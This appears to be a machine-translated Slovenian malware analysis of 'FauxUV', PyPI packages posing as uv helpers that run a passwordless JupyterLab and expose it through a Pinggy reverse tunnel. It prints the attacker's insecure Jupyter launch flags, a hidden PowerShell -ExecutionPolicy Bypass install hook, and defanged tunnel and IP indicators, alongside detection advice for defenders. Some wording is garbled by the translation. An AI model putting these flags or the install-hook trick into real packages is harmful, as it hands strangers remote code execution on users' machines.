TL; DR
Skupina paketov PyPI si je izposodila ime uv, hiter in izjemno priljubljen upravljalnik paketov Python, ki temelji na Rustu, naj bi se predstavljal kot pomočniki UV. Ne ponujajo skoraj nobene prave funkcionalnosti. Namesto tega ponujajo le koristni nosilec sistema Windows, ki stoji ob strani ... Strežnik JupyterLab z izklopljeno avtentikacijo in ga v kasnejših različicah objavi na javnem internetu prek obratnega tunela.
To je celotna zgodba v eni vrstici: ime zaupanja vrednega orodja kot vaba in JupyterLab kot mehanizem za oddaljeno izvajanje kode. Strežnik Jupyter zažene katero koli kodo, ki jo vnesete v polje »not«.ebook celica; ena, zagnana s praznim žetonom in vezana na vsak omrežni vmesnik, je odprt interpreter, ki ga lahko poganja vsak, ki lahko doseže vrata.
Grozd spremljamo kot FauxUVPregledana paketa sta moon-uv (0.0.1 – 0.0.16) in my-magic-uv-helper (0.0.1), ki ga je objavil isti operater in je bil v času analize aktiven na PyPI.
| Ekosistem | PyPI |
| Paketi | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Ciljno usmerjena platforma | Windows |
| Osnovno vedenje | Neoverjen strežnik JupyterLab, objavljen na internetu prek obratnega tunela |
| Zloraba legitimnih orodij | UV, JupyterLab, cloudflared, Pinggy |
Vaba: ime, ki mu že zaupate
uv je eno najpogosteje nameščenih orodij za Python v zadnjih dveh letih, zato je »pomočnik za« uv»je paket, ki ga razvijalec namesti brez pomisleka. FauxUV svojo verodostojnost v celoti gradi na tem imenu. Paketi zavijajo pristen uv namestitveni program podjetja Astral – URL-ji v koristnem nanosu kažejo na resnične, ugledne gostitelje – zato hiter pogled ne pokaže ničesar drugega kot zaupanja vredne reference. Noben od paketov dejansko ne dodaja uv funkcionalnost; ime je celotna preobleka.
JupyterLab kot motor RCE
Osrednji del koristnega tovora je zaganjalnik, ki zažene JupyterLab, ko so odstranjene vse varnostne ograje:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Vsaka zastavica odstrani zaščito, priloženi skript pa jih celo označi (v originalni kitajščini): prazen žeton »izklopi preverjanje gesel in žetonov – kdorkoli se lahko poveže.« jupyter lab je legitimno integrirano razvojno okolje (IDE) za podatkovno znanost, vendar neebook Celica izvaja poljubno kodo po načrtu. Konfigurirana na ta način in vezana na 0.0.0.0, preneha biti IDE in postane nepreverjena oddaljena lupina na gostitelju – ni potrebna nobena binarna programska oprema z zlonamerno programsko opremo po meri, le orodje, usmerjeno v napačno smer.
Dva podporna elementa omogočata doseg in ponovljivost:
- Sprožilec tihe namestitve. Zgodnje različice uporabljajo PowerShell z -ExecutionPolicy Bypass naravnost iz setup.py on pip namestitev, v ozadju z napakami, ki so bile potlačene, tako pip izgleda normalno. Kasnejše različice premaknejo isti primitiv v pip-uv orodje ukazne vrstice – in popolnoma opustite samodejni zagon ob namestitvi.
- Javni vzvratni predor. Strežnik na 0.0.0.0 je še vedno dosegljiv le gostiteljem, ki se lahko usmerijo do stroja. V paketu je priložen modul, ki odpre [Pinggy](https://pinggy.io/) Povratni tunel SSH, ki posreduje lokalna vrata Jupyter na javni naslov in s tem odpravi to omejitev. Priloženi skript prenaša tudi – zakomentirano – alternativno pot z uporabo Cloudflareja oblaki in netsh port-proxy na Linode IP, ki dokumentira isti cilj prek različne infrastrukture.
Sestavljeno: namestite paket in gostitelj sistema Windows na koncu zažene JupyterLab brez gesla in ga objavi na odprtem internetu.
Kako se je FauxUV razvil
Različice FauxUV so bile poslane v hitrem zaporedju, sprožilna točka koristnega tovora pa se je premikala med njimi – opomnik, da ena označena različica le redko pove celotno zgodbo paketne vrstice.
| Stage | različice | Trigger | Kaj dodaja |
|---|---|---|---|
| Namestitev kljuke | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py ob namestitvi pipa | uv namestitev + predpona PATH |
| Izvajanje CLI-ja | moon-uv 0.0.5-0.0.13 | pip-uv ukaz | zaganjalnik JupyterLab brez gesla |
| Predor | moon-uv 0.0.14-0.0.16 | pip-uv ukaz | aktivni vzvratni tunel Pinggy |
Omeniti velja, da je bil samodejni zagon ob namestitvi odstrani v kasnejših, zmogljivejših različicah – torej skener, ki se je vklopil le ob življenjskem ciklu hooks bi novejše izdaje ocenil kot manj tvegano, ravno obratno.
Kazalniki kompromisa
Potrjeno z branjem izvorne kode paketa; končne točke označene komentiral so prisotni v datotekah, vendar jih analizirana različica ne izvaja. Omrežni kazalniki so onemogočeni.
| tip | Kazalec |
|---|---|
| Namesti ukaz | powershell -ExecutionPolicy Bypass pridobivanje originalnega namestitvenega programa za UV med namestitvijo PIP-a |
| Zastavice JupyterLaba | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Vzvratni predor (aktiven) | free[.]pinggy[.]io:443 posredovanje lokalnega 127.0.0.1:8888 |
| Gostitelj tunela (komentirano) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (komentiran) | 45[.]79[.]134[.]161 (Linode) prek netsh port-proxy |
| Vztrajnost | doda predpono %USERPROFILE%\.local\bin do uporabnikove POT |
Vedenjski signali, na katere je vredno biti pozoren, neodvisno od teh natančnih nizov: a pip namestitev ki se pojavi powershell -Obhod pravilnika izvajanjakateri koli jupiter kombiniranje zagonov žeton = "" z –ip=0.0.0.0in odhodni SSH do *.pinggy.io od razvijalca ali CI stroja.
Opazovano vedenje in izvor
Oba paketa si delita avtorja in metodo: ime zaupanja vrednega orodja, zaščito samo za Windows, izvajanje v ozadju brez napak in zanašanje na ugledna orodja, tako da hiter pregled vidi le ugledne URL-je. Vir vsebuje komentarje v kitajščini, ki jasno opisujejo varnostno pomembne zastavice; te v datoteki poročamo kot opazne izjave, ne kot trditev o motivu. dovoli_izvor vrednost in colab.bat Ime datoteke odraža neformalne poteke dela »deli moj lokalni izvajalni proces«, ki so na voljo za Google Colab. Ne glede na izvor je zapakiran rezultat enak.
Vpliv in smernice za zagovornike
Kdo je izpostavljen FauxUV-ju. Razvijalci sistema Windows in izvajalci CI, ki pip namestitev eden od teh paketov. JupyterLab brez gesla na 0.0.0.0 je oddaljeno izvajanje kode za vsakogar, ki lahko doseže vrata; tunel odstrani omejitev »kdo lahko doseže vrata«. Strežnik se izvaja kot nameščajoči uporabnik in podeduje njegove datoteke, žetone in poverilnice za oblak.
Zakaj je enostavno spregledati. Vsak omrežni niz kaže na uglednega gostitelja – Astral, JupyterLab, oblaki, Pinggy, Colab. Ni binarne programske opreme, ki bi jo bilo treba zgostiti, in ni zakritega bloba, ki bi ga bilo treba dekodirati. Skeniranje na podlagi ugleda in podpisov temu daje podcenjenost, zato je vedenjsko vprašanje – kaj naredi računalnik po namestitvi tega paketa — je tisti, ki ga ujame.
Navodila:
- Obravnavajte morebitne napake med namestitvijo powershell -Obhod pravilnika izvajanja kot signal za prekinitev gradnje, ne glede na URL, ki ga pridobi.
- Opozorilo vklopljeno jupiter zagnano s praznim žetonom in –ip=0.0.0.0; ta kombinacija se nikoli ne sme pojaviti na delovni postaji ali tekaču.
- Spremljajte odhodni SSH do ponudnikov tunelov (*.pinggy.io, *.trycloudflare.com) iz razvijalskih in CI okolij.
- namestitev uv iz [uradnega vira](https://docs.astral.sh/uv/) in bodite skeptični do »pomožnih« paketov tretjih oseb, ki zavijajo orodje, ki ga je že tako preprosto namestiti.
- Pripnite in ponovno preglejte odvisnosti pri nadgradnji – vrstica paketa lahko razvija novo zmogljivost iz različice v različico.



